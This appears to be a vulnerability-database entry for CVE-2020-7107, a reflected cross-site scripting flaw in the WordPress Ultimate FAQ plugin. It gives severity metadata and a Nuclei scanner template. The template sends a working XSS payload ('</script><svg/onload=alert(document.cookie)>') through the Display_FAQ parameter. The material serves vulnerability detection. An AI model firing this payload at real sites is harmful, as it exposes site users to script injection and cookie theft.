SecurityContext

CVE-2020-7107: WordPress Ultimate FAQ <1.8.30 - Cross-Site Scripting

Classification

  • Cwe: CWE-79
  • Cvss score: 6.1
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Epss score: 0.02195
  • Epss percentile: 0.8294
  • Cpe: cpe:2.3:a:etoilewebdesign:ultimate_faq:*:*:*:*:*:wordpress:*:*

Metadata

  • Framework: wordpress
  • Max-request: 2
  • Product: ultimate_faq
  • Vendor: etoilewebdesign
  • Verified: yes

Products

ProductIndexedUrl
etoilewebdesign:ultimate_faqyes/v1/products/etoilewebdesign/ultimate_faq

Labels

  • Name: WordPress Ultimate FAQ - Reflected XSS
  • Impact: Attackers can execute scripts in user browsers, potentially stealing cookies and hijacking user sessions.
  • Remediation: Update to version 1.8.30 or later.
  • Vulnerability type: reflected_xss
  • Vulnerability impact: client_script_exec
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2020-7107
  • Not known: requirements

```yaml

id: CVE-2020-7107

info:

name: WordPress Ultimate FAQ <1.8.30 - Cross-Site Scripting

author: theamanrawat

severity: medium

description: |

WordPress Ultimate FAQ plugin before 1.8.30 is susceptible to cross-site scripting via Display_FAQ to Shortcodes/DisplayFAQs.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

impact: |

Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions.

remediation: Fixed in version 1.8.30.

reference:

- https://wpscan.com/vulnerability/5e1cefd5-5369-44bd-aef7-2a382c8d8e33

- https://wordpress.org/plugins/ultimate-faqs/

- https://plugins.trac.wordpress.org/changeset/2222959/ultimate-faqs/tags/1.8.30/Shortcodes/DisplayFAQs.php

- https://nvd.nist.gov/vuln/detail/CVE-2020-7107

- https://wordpress.org/plugins/ultimate-faqs/#developers

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

cvss-score: 6.1

cve-id: CVE-2020-7107

cwe-id: CWE-79

epss-score: 0.02195

epss-percentile: 0.8294

cpe: cpe:2.3:a:etoilewebdesign:ultimate_faq:*:*:*:*:*:wordpress:*:*

metadata:

verified: true

max-request: 2

vendor: etoilewebdesign

product: "ultimate_faq"

framework: wordpress

tags: cve,cve2020,ultimate-faqs,wpscan,xss,wordpress,wp-plugin,wp,etoilewebdesign,vuln

flow: http(1) && http(2)

http:

- raw:

- |

GET /wp-content/plugins/ultimate-faqs/readme.txt HTTP/1.1

Host: {{Hostname}}

matchers:

- type: word

internal: true

words:

- 'Ultimate FAQ'

- 'Tags:'

condition: and

- method: GET

path:

- "{{BaseURL}}/?Display_FAQ=%3C/script%3E%3Csvg/onload=alert(document.cookie)%3E"

matchers-condition: and

matchers:

- type: word

part: body

words:

- "'</script><svg/onload=alert(document.cookie)>"

- "var Display_FAQ_ID ="

condition: and

- type: word

part: header

words:

- "text/html"

- type: status

status:

- 200

digest: 4a0a00473045022100adb0e107a952d168a494e7ab3c3f9a3767080f273a7fe674360d2a2ecf27d7e5022026749985e876731dfe70dca0a7a4af85b542b10fe33d3af5784dc16bebd14578:922c64590222798bb761d5b6d8e72950

```